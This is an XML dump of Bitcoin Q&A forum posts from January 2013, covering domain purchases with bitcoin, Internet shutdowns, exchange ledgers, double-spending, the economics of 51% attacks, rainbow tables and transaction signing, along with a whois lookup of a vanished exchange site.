  <row Id="7197" PostTypeId="2" ParentId="3230" CreationDate="2013-01-21T11:02:30.003" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.frankdomains.com/pay-for-domains-with-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;em&gt;Frank Domains&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; has entirely integrated its payment system with Bitcoins. They sell all TLD's and also a substantial number of ccTLD's, including .ru (&lt;a href=&quot;http://www.frankdomains.com/.ru&quot; rel=&quot;nofollow&quot;&gt;http://www.frankdomains.com/.ru&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its also relatively cheap for only 1.49BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other alternatives, but I prefer Frank Domains due to their extra security options.&lt;/p&gt;&#xA;" OwnerUserId="2650" LastActivityDate="2013-01-21T11:02:30.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7199" PostTypeId="2" ParentId="6055" CreationDate="2013-01-21T12:01:39.243" Score="1" Body="&lt;p&gt;@ThePiachu - I agree, the Dot-BIT project is very anonymous...if you want to register a .bit domain that is  (only .bit is available from the project so far). The problem with .bit domains is that the system is still very much in it's infancy and so hasn't developed to a point where it is as easily accessed as other &quot;ICANN&quot; domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards to the question, most registrars will require a certain level of identification when registering a domain (ICANN rules and regs). I know of a lot of registrars which only require a name, email address and physical address. I know, thats a lot of info if you are trying to remain anonymous, but paying by Bitcoin removes the vital registration check that matches the bank details with the other reg. info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm &lt;strong&gt;NOT&lt;/strong&gt; saying that you should lie, because there is a level of trust between registrars and their customers, which would be a shame to see disappear. Also fake info can lead to you losing the domain anyway. But the use of Bitcoin in itself will provide a certain level of anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you request whois privacy, the regristrar will ensure that your details aren't available to the public, but they (and ICANN) will still have your details in their files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for complete anonymity, I'm unaware of any registrar offering that legally. It would have to be a decentralised domain system, one that wasn't regulated by ICANN, like Dot-BIT...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A really good list of Bitcoin-using registars can be found on this site at &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3229/where-can-i-register-a-domain-and-pay-with-bitcoins/7168#7168&quot;&gt;Where can I register a domain and pay with bitcoins?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2650" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-01-21T12:01:39.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7200" PostTypeId="2" ParentId="6132" CreationDate="2013-01-21T13:41:51.090" Score="6" Body="&lt;p&gt;Beginning with &lt;a href=&quot;http://en.bitcoin.it/wiki/Changelog#0.6.0.5B3.5D&quot; rel=&quot;nofollow&quot;&gt;v0.6.0 of the Bitcoin.org&lt;/a&gt; client was -BlockNotify.  Beginning with v0.8.2 of the Bitcoin.org client was -WalletNotify which provides transaction-level notification. &lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-06-22T02:33:53.463" LastActivityDate="2013-06-22T02:33:53.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7204" PostTypeId="2" ParentId="4271" CreationDate="2013-01-21T17:06:38.213" Score="0" Body="&lt;p&gt;My future self, having invented time-travel would then send a Terminator (in the form of a CAT5/USB-toting R2D2) back in time to the beginning of Bitcoin. Not only would the &quot;R2-Terminator&quot; create a wallet and start mining, but would also follow programmed trading tasks to take advantage of market fluctuations. Unbeknownst to me this is all currently occurring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tomorrow at 9.46am GMT my modest Wallet is going to receive the culmination of R2's hard work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would you like some for your phone? &lt;/p&gt;&#xA;" OwnerUserId="2650" LastActivityDate="2013-01-21T17:06:38.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7205" PostTypeId="1" CreationDate="2013-01-21T23:28:27.023" Score="5" ViewCount="378" Body="&lt;p&gt;Clearly this system depends upon data exchange.  What happens if national authorities in one or more countries decide there exists a &quot;national emergency&quot;, &quot;requiring&quot; the shutdown of the internet in those nations?  How then does this system work?  Will commerce aboard this platform come to a halt, or is there a redundant communications method?&lt;/p&gt;&#xA;" OwnerUserId="2677" LastEditorUserId="1409" LastEditDate="2013-01-22T00:26:38.090" LastActivityDate="2013-01-22T10:01:18.067" Title="How would Bitcoin usage be affected within a country that severed its Internet connection?" Tags="|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7206" PostTypeId="2" ParentId="7205" CreationDate="2013-01-22T00:25:30.493" Score="1" Body="&lt;p&gt;It's trivial to create physical Bitcoin. All that is necessary on the object is the public address and the private key. To fund it, some Internet would be required, but just enough to broadcast the transactions. It's feasible that this would be able to occur outside of the country, with the newly minted physical Bitcoin shipped into the country without Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I understand it, a fork of the blockchain could survive in a walled garden. Assuming that the nodes within the country are still connected, they could continue to communicate and carry on without the support of the outside world. If one of those nodes connected to the outside world, the transactions would be broadcast. The outside nodes would likely reject the walled-in blocks, but the transactions would continue. The only folks who would be negatively affected in this model are the miners, and only if they spend BTC the the block reward they received when mining a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...that was a bit rambling.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-01-22T00:25:30.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7207" PostTypeId="2" ParentId="4271" CreationDate="2013-01-22T02:15:01.317" Score="3" Body="&lt;p&gt;You could memorize a single private key.  In the future (once time travel is invented) you wouldn't mine in the future.  Instead you would go back in time, not to the current time but back to 2009.  With your future tech mining gear you could trivially mine a significant fraction of the early bitcoins.  You may need to consult your time traveler manual to reduce the changes to the timline.  For example it likely wouldn't be a good idea to massively inflate the early difficulty and scoop up 99.999% of the coins.  You could alert the timeline and prevent Bitcoin from ever taking off.   However lets assume that mining a small portion (say 10%) of the first years blocks wouldn't be noticed.   You could direct those 262,800 BTC to the private key you memorized in 2013.   In the modified timeline you would have to do anything your wallet would &quot;magically&quot; produce a private key which had 262,800 BTC mined to it.  Tada, you are instantly wealthy and can buy the Galaxy Note 2.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the fact that your current wallet doesn't contain 262,800 BTC means either time travel hasn't been invented in your lifetime, you for some future reason never make the attempt, or your attempt to travel back in time failed (your future self may have been assassinated by Time Police).   On the last possibility it is possible this post gives you the idea which your future self attempts to implement resulting in your death.  Of course now that you have the idea it is impossible to un-know it so your future death may be predestined.  If that is the case I sincerely apologize for getting you killed in the future.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2013-01-22T02:15:01.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7220" PostTypeId="2" ParentId="7205" CreationDate="2013-01-22T10:01:18.067" Score="3" Body="&lt;p&gt;&lt;strong&gt;A government that shuts down its Internet to civilians is a government in crisis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The economic cost of shutting down all government regulated Internet connections within a developed country is enornmous. It is extremely unlikely that a first or second world government would take this step simply to block Bitcoin transactions. It may be that if Bitcoin rises to become an ISO recognised currency traded by governments the decision is made in order to somehow preserve sovereign wealth in the native currency that is now under threat from Bitcoin, but that is a long way off from today and would ultimately prove futile. It would also show very poor financial planning on behalf of the nation since they can simply continue their mandate that all taxes and fines must be paid in legal tender forcing a conversion out of Bitcoin to their native currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question of how Bitcoin could respond to such a switch off is similar to how the Internet itself would route around the problem. There are a multitude of ways that ad hoc networks can be established. Bitcoin has been shown to be at least as resilient as the Internet in terms of the myriad of ways that transactions can be made to reach an Internet connected node. For example, Bitcoin transactions have been transmitted over HAM radio, NFC and Bluetooth. There are many alternative digital networks that can serve as backup routes to the wider Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even in the total absence of electricity, the Bitcoin network can survive through physical bitcoins. So long as trust is maintained in the security seal protecting the private key it is only necessary to conduct occasional verification checks that the amount displayed on the token represents the amount accessed by the key. Simplified pricing schemes (to allow accurate change) would enable invisible private key based trading. An occasional radio broadcast to co-ordinate the current bitcoin value against other currencies in use would be sufficient to allow merchants to price their goods accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that in times of trouble people will seek to use whatever they can to get by. If bitcoins are perceived by most as being the best way to conduct trade as, say, the dollar enters hyperinflation, then they will use them. If something else provides a more stable medium that is more appropriate to their circumstances they will use that. However, Bitcoin is by far the most flexible form of money ever invented so it seems likely that it will survive better than others.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-01-22T10:01:18.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7221" PostTypeId="2" ParentId="4271" CreationDate="2013-01-22T11:00:15.377" Score="1" Body="&lt;p&gt;In the future you can also buy some 'vintage' coins that would be in the blockchain in 2013 and send those to your Galaxy Note.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-01-22T11:00:15.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7222" PostTypeId="2" ParentId="7183" CreationDate="2013-01-22T11:40:52.127" Score="14" Body="&lt;p&gt;A transaction claims some outputs from previous transactions and then creates new outputs whose summed value is equal to (or less than, in the case of fees) the sum of the claimed outputs values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a transaction to be valid it must be the only one that claims the outputs (no double spend) and the transaction that created the claimed outputs must be valid. Satoshi Dice can immediately send back a transaction containing the winnings because the transaction claims the output of the incoming transaction, chaining the two transactions together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is that either both transactions are valid, in which case the player gets his winnings, or the first transaction is not valid, immediately invalidating the second one, and Satoshi Dice is not tricked into sending coins back without receiving the wager.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="4923" LastEditDate="2013-09-13T21:03:42.150" LastActivityDate="2013-09-13T21:03:42.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7229" PostTypeId="2" ParentId="7147" CreationDate="2013-01-22T19:53:44.143" Score="3" Body="&lt;p&gt;If an attacker has write access to your database without you noticing immediately, it's pretty much Game Over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you are actually able to secure the payout address field from tampering, then the attacker could still overwrite the password field with his own hash, log in as the user and change the payout address through the &quot;allowed&quot; way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should not worry too much about this scenario, but rather make sure no one will get direct access (read or write) to your database in the first place: Use prepared statements, grant minimum required access, harden your servers, etc.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2013-01-22T19:53:44.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7230" PostTypeId="2" ParentId="3616" CreationDate="2013-01-22T20:14:52.977" Score="1" Body="&lt;p&gt;In your scenario there are two transactions with the same input, i.e. an attempt to double-spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the first transaction is already part of a block in the chain, the second one can not be included in any block on top of that block. Other nodes would reject that new block. A miner could build his new block on top of the last block before the first transaction, but that fork of the blockchain would never catch up with the original chain, unless more than 50% of the networks hashrate also builds on top of it. That's the mechanism preventing double spending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the first transaction is not yet part of the blockchain (i.e. 0 confirmations), a miner can choose which one to include in the next block. Choosing the one with the higher fee would be a sensible choice, but I don't know if that is implemented in any client. In that case the first transaction would be discarded, and never become part of the blockchain, since it's effectively the same scenario as above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, no, there is no potential for a double spend attack through higher transaction fee.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2013-01-22T20:14:52.977" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7232" PostTypeId="1" CreationDate="2013-01-23T04:16:23.707" Score="2" ViewCount="307" Body="&lt;p&gt;Are all trades stored in block chain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are all trades, like mtgox exchange, gambling, etc. stored in block chain? Or, few trades could have been skipped / ignored? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider this case, 'a' transfers 10btc to 'b', and then 'b' transfers 10btc to 'c'. Is it possible to store this as single trade, as 'a' transfers 10btc to 'c'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for an exchange to include fake bid/ask orders for it's own benefit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it really possible to differentiate between two transfers, where in one transfer is between single user accounts and another one is between two users?&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2013-01-23T08:17:03.177" Title="Are all trades stored in block chain?" Tags="|transactions|blockchain|exchanges|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7233" PostTypeId="2" ParentId="7232" CreationDate="2013-01-23T04:53:12.170" Score="5" Body="&lt;p&gt;Within an exchange's ledger system, value may be moved between accounts without creating actual transactions in the public Bitcoin ledger, the blockchain. Exchanges that use this method keep all of their reserves in one set of accounts and simply debit and credit user accounts as necessary. Only when a Bitcoin transaction is necessary to move value from one account to another outside of the system will a Bitcoin transaction be created and broadcast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other systems, an exchange or other entity may actually create a new Bitcoin transaction for every trade. This method is more inline with the ideals of Bitcoin, but costs more because of the transaction fees necessary to expedite/facilitate processing.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-01-23T04:53:12.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7235" PostTypeId="2" ParentId="7232" CreationDate="2013-01-23T08:17:03.177" Score="3" Body="&lt;p&gt;Any transaction stored in the Block Chain are money transfers between two Addresses. However, if one controls both of the Addresses in question and runs some accounting system on top of the Address balances (such as bitcoind and the use of Accounts), one does not need to create Transactions in order to move bitcoins between two accounts. They can just update their personal ledger of the different Accounts. This option creates less noise in the Block Chain and makes the money transfers instantaneous, but requires extra effort to make sure each Account can only spend only the bitcoins they own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many systems can and do behave like this. I'm guessing all of the exchanges do this, as well as some eWallets and probably some casinos.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-01-23T08:17:03.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7236" PostTypeId="1" AcceptedAnswerId="7264" CreationDate="2013-01-23T11:16:30.123" Score="35" ViewCount="12088" Body="&lt;p&gt;What is the potential that the ASICs being developed for mining could be used for other cryptographic applications such as building rainbow tables? I know that for instance those that crack GSM with rainbow tables utilize systems similar to those for mining for building rainbow tables and decrypting GSM packets. Such systems are also used for building MD5, SHA, rainbow tables for traditional password/shadowfile cracking.&lt;/p&gt;&#xA;" OwnerUserId="2678" LastEditorUserId="5406" LastEditDate="2016-02-08T15:30:32.620" LastActivityDate="2017-10-07T15:09:39.713" Title="Bitcoin Mining ASICs used for cryptographic application? Rainbow tables?" Tags="|asic|cryptography|mining-hardware|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7238" PostTypeId="2" ParentId="7236" CreationDate="2013-01-23T14:11:51.680" Score="5" Body="&lt;p&gt;ASICs for BTC mining are optimized for one calculation: &lt;code&gt;SHA256(SHA256(x))&lt;/code&gt;. They can not be used to calculate &lt;code&gt;MD5(x)&lt;/code&gt; or even &lt;code&gt;SHA256(x)&lt;/code&gt;, so unless you use double-SHA256 to hash your passwords, you should not be worried.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2013-01-23T14:11:51.680" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7239" PostTypeId="2" ParentId="6108" CreationDate="2013-01-23T14:21:00.943" Score="5" Body="&lt;p&gt;A wallet provider might make it seem like the transaction is instant, but it will have to be included into a newly mined block (happens about every 10 minutes), for it to actually &quot;go through&quot;. If you only pay a low transaction fee, it might take some time until a miner decides to include your transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, it's up to the receiver of the transaction to decide how many blocks to wait until he books it as confirmed on his side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default client waits for six of these so-called confirmations to show the transaction with a checkmark.&lt;/p&gt;&#xA;" OwnerUserId="2699" LastEditorUserId="196" LastEditDate="2013-03-20T09:59:59.513" LastActivityDate="2013-03-20T09:59:59.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7240" PostTypeId="2" ParentId="7148" CreationDate="2013-01-23T19:36:59.707" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;I would like to buy a share lets say from Microsoft with bitcoins and have the value of it remain in bitcoins instead of normal currency.&quot;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well, in that case you would be trading MSFT/BTC, so if the value of BTC keeps rising with comparison to MSFT and you're holding MSFT, then you will lose BTC. For now it doesn't seem like it will be worthwhile to do such a thing.&lt;/p&gt;&#xA;" OwnerUserId="1528" LastActivityDate="2013-01-23T19:36:59.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7242" PostTypeId="2" ParentId="5197" CreationDate="2013-01-23T21:32:11.673" Score="4" Body="&lt;p&gt;I used quickbitcoins.net successfully 4 times. They are gone now. The 800 number is disconnected and their e-mail address returns nothing. Try to find the http: website on Explorer or on tor and neither can find it! Site no longer exists! If you send coins to them without checking you will loose your money!&lt;/p&gt;&#xA;" OwnerUserId="2711" LastActivityDate="2013-01-23T21:32:11.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7243" PostTypeId="1" CreationDate="2013-01-23T23:54:23.737" Score="0" ViewCount="427" Body="&lt;p&gt;I just sold some BTC and transferred money from Mt Gox to Dwolla.  My Mt. Gox account had $150 in it, and now both accounts are zero.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it normal for neither account to reflect the new balance after an account transfer?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How long does an account transfer take?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've taken the matter up with Mt Gox support, but since they are in Japan, I'm not sure when they will get back to me.  I'd appreciate any anecdotal or historical interaction you've had with this type of exchange.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2013-01-23T23:59:55.893" LastActivityDate="2013-06-23T01:17:42.787" Title="How long does it take for Mt Gox withdrawal to Dwolla?" Tags="|mtgox|sell-bitcoins|withdrawal|dwolla|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7244" PostTypeId="2" ParentId="7243" CreationDate="2013-01-24T01:18:49.877" Score="1" Body="&lt;p&gt;When I've used Mt. Gox, it's taken anywhere from two to seven days for the Dwolla payment to hit my account.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-01-24T01:18:49.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7245" PostTypeId="2" ParentId="7236" CreationDate="2013-01-24T04:08:04.870" Score="1" Body="&lt;p&gt;Lets say you want to build a rainbow table of double-sha-256, you then want to calculate 2^256 hashes which is 1.579*10^77 hashes lets divived by on the average ASIC power we have (one at 30Ghash/s):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1.579*10^77 hash / 30,000,000,000 hash/s&lt;br&gt;&#xA;  3.8596*10^66 seconds&lt;br&gt;&#xA;  Or 1.2238*10^59 years &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which is, correct me, more than the time of the UNIVERSE!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if we took the actual bitcoin network power (@ about 20 Thash/s), we would still wait 1.8358*10^56 YEARS. Which is not even really faster. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So well good luck trying to do a rainbow table, I guess.&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2013-01-24T04:08:04.870" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7246" PostTypeId="1" CreationDate="2013-01-24T04:47:11.590" Score="2" ViewCount="795" Body="&lt;p&gt;20 BFL Bitforce Mini Rigs (each, $30k) will give about 30THash/Sec hash power for $600k. That's way above 60% of hash power of then total 51THash/Sec.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;10.694M total Bitcoin * $18.5 current mtgox best ask rate = $197.839M&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, BFL should ship at least 6595 such miners, or price it based on, (total worth of all Bitcoin / no of miners planned to ship).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean, these miners priced so low, or currently bitcoins comparatively valued so high? Or, these two parameters just unrelated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;Please note that these miners are yet to be shipped.&lt;/b&gt;&lt;/p&gt;&#xA;" OwnerUserId="2229" LastEditorUserId="5406" LastEditDate="2016-04-01T09:28:58.693" LastActivityDate="2016-04-01T09:28:58.693" Title="Is the minimum amount of money required to purchase &gt;50% hash power equal to max worth of all existing bitcoins?" Tags="|asic|mining-hardware|hashpower|majority-attack|butterfly-labs|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7247" PostTypeId="2" ParentId="7246" CreationDate="2013-01-24T05:19:20.173" Score="3" Body="&lt;p&gt;The only reason it looks economical to perform a 51% attack is because no substantial amount of ASIC hardware has started mining on the network yet. Once the existing ASIC orders are shipped out, the total network hash power will be much higher. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further to that, the ASIC harder suppliers would not ship such a large amount of hardware to a single buyer if they thought it would put the network at risk. Their business model depends on the ongoing success of Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2013-01-24T08:11:01.180" LastActivityDate="2013-01-24T08:11:01.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7249" PostTypeId="2" ParentId="7246" CreationDate="2013-01-24T05:47:48.017" Score="1" Body="&lt;p&gt;These two parameters are mostly unrelated. There is some proportionality which also depends on many other factors, but equilibrium can always be reached by floating the number of units to which there is demand.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-01-24T05:47:48.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7251" PostTypeId="2" ParentId="5197" CreationDate="2013-01-24T09:00:38.350" Score="0" Body="&lt;p&gt;Someone who asks you for money but hides his identity, is automatically non-reputable, almost by definition...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;looris@Palace-of-the-Nine-Moons:~ $ whois quickbitcoins.net&#xA;&#xA;Whois Server Version 2.0&#xA;&#xA;Domain names in the .com and .net domains can now be registered&#xA;with many different competing registrars. Go to http://www.internic.net&#xA;for detailed information.&#xA;&#xA;   Domain Name: QUICKBITCOINS.NET&#xA;   Registrar: ENOM, INC.&#xA;   Whois Server: whois.enom.com&#xA;   Referral URL: http://www.enom.com&#xA;   Name Server: DNS1.REGISTRAR-SERVERS.COM&#xA;   Name Server: DNS2.REGISTRAR-SERVERS.COM&#xA;   Name Server: DNS3.REGISTRAR-SERVERS.COM&#xA;   Name Server: DNS4.REGISTRAR-SERVERS.COM&#xA;   Name Server: DNS5.REGISTRAR-SERVERS.COM&#xA;   Status: clientTransferProhibited&#xA;   Updated Date: 02-jul-2012&#xA;   Creation Date: 29-apr-2012&#xA;   Expiration Date: 29-apr-2013&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; Last update of whois database: Thu, 24 Jan 2013 08:56:40 UTC &amp;lt;&amp;lt;&amp;lt;&#xA;&#xA;[...]&#xA;&#xA;=-=-=-=&#xA;&#xA;Registration Service Provided By: Namecheap.com&#xA;Contact: support@namecheap.com&#xA;Visit: http://namecheap.com&#xA;&#xA;Domain name: quickbitcoins.net&#xA;&#xA;Registrant Contact:&#xA;   WhoisGuard&#xA;   WhoisGuard Protected ()&#xA;&#xA;   Fax:&#xA;   11400 W. Olympic Blvd. Suite 200&#xA;   Los Angeles, CA 90064&#xA;   US&#xA;&#xA;Administrative Contact:&#xA;   WhoisGuard&#xA;   WhoisGuard Protected (f1523859958c4c18a48b1813ac61496e.protect@whoisguard.com)&#xA;   +1.6613102107&#xA;   Fax: +1.6613102107&#xA;   11400 W. Olympic Blvd. Suite 200&#xA;   Los Angeles, CA 90064&#xA;   US&#xA;&#xA;Technical Contact:&#xA;   WhoisGuard&#xA;   WhoisGuard Protected (f1523859958c4c18a48b1813ac61496e.protect@whoisguard.com)&#xA;   +1.6613102107&#xA;   Fax: +1.6613102107&#xA;   11400 W. Olympic Blvd. Suite 200&#xA;   Los Angeles, CA 90064&#xA;   US&#xA;&#xA;Status: Locked&#xA;&#xA;Name Servers:&#xA;   dns1.registrar-servers.com&#xA;   dns2.registrar-servers.com&#xA;   dns3.registrar-servers.com&#xA;   dns4.registrar-servers.com&#xA;   dns5.registrar-servers.com&#xA;&#xA;Creation date: 30 Apr 2012 02:30:00&#xA;Expiration date: 29 Apr 2013 18:30:00&#xA;&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-01-24T09:00:38.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7252" PostTypeId="2" ParentId="7246" CreationDate="2013-01-24T09:14:02.503" Score="4" Body="&lt;p&gt;OK, the question here is worthless anyway for 2 reasons.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Getting 51% hashing power over the network doesn't give you all of the Bitcoins.  All that does is allow you to spend Bitcoins, and then later roll back the blockchain and spend them again.. If you've let the blockchain commit 6 blocks to get a &quot;real&quot; transaction committed, then it's going to take you a while to undo that whole chain as the rest of the network continues to run away from you with the soon to be previous real blockchain.  That's going to be expensive because if one person or group thinks they can do it, then you can bet two people or groups will think they can.. All so you can buy your pizza again with your same bitcoins, and steal some petty amount of money from whomever you spent it with the first time.. Your reward isn't all the money (unless you think you can catch up 4 years of signed blocks.. dunno maybe you could), and even if it was, it wouldn't be worth it.  &lt;/li&gt;&#xA;&lt;li&gt;If you do pull off this Bitcoin coup.. What are you really going to do? It isn't run away with 200 million USD. It's destroy the value of Bitcoin.. at least until balance is restored (in which case, you've stolen nothing). You think Mt Gox is going to let you cash out when you send them the coins from their wallet that you've taken by rewriting the blockchain? Do you think they even could? You think you'll find the market depth to cash it all out? I can tell you now.. You won't.. Even if you use all the exchanges, it won't be there.. You'd be stealing more coins than actually exist. I know I've personally destroyed 280 of them. I've heard of many others destroying more.. You'd get them back in the full rewrite of the blockchain required to steal everything, but the USD behind those doesn't exist on the exchanges.. It never did.. In theory, you could steal the sum of all the asks on all the exchanges if you could undo enough transactions to do so.. If you didn't time it right though, a lot of them are going to go away as the price plummets like it was two July's ago.. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Satoshi's genious wasn't making it impossible to cheat the system (although it is &lt;em&gt;very&lt;/em&gt; difficult), it was making it so that it was not to your advantage to do so. If you can hit 51% or greater, your best option is to just take 51% of the new coins.. Maybe occasionally you rewind and undo some large transactions you made with your own coins, but if you did that too much, then you've ruined yourself soon enough.. &lt;/p&gt;&#xA;" OwnerUserId="2715" LastActivityDate="2013-01-24T09:14:02.503" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7253" PostTypeId="1" AcceptedAnswerId="7254" CreationDate="2013-01-24T10:06:24.967" Score="30" ViewCount="19063" Body="&lt;p&gt;There is a part of the Bitcoin protocol that I don't quite understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you make a transaction, and spend the output of a previous transaction for say 1 BTC, you provide a signature using the private key matching the public key (or address) that appears in the output of the previous transaction. My first question here is what exactly is signed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, when the transaction is broadcast, what prevents a malicious peer to take the input of my transaction with signature, for 1 BTC, and forge a new transaction using that same input going to their own address? To avoid that, the full transaction (including outputs) would need to be signed, I couldn't find a document indicating the whole transaction is signed.&lt;/p&gt;&#xA;" OwnerUserId="2716" LastEditorUserId="323" LastEditDate="2013-01-24T12:24:45.933" LastActivityDate="2013-01-24T12:24:45.933" Title="Signing Bitcoin transactions" Tags="|security|protocol|signature|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7254" PostTypeId="2" ParentId="7253" CreationDate="2013-01-24T10:49:06.910" Score="15" Body="&lt;p&gt;From what I gather you sign both the input and the output of the transaction, meaning that nobody can alter the content of the transaction without invalidating your signature. I also had some problems with this part of the algorithm, and even asked &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3374/323&quot;&gt;a similar question earlier&lt;/a&gt;, but this one deals with more of the low-level bit operations rather than the high-level concept.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-01-24T10:49:06.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
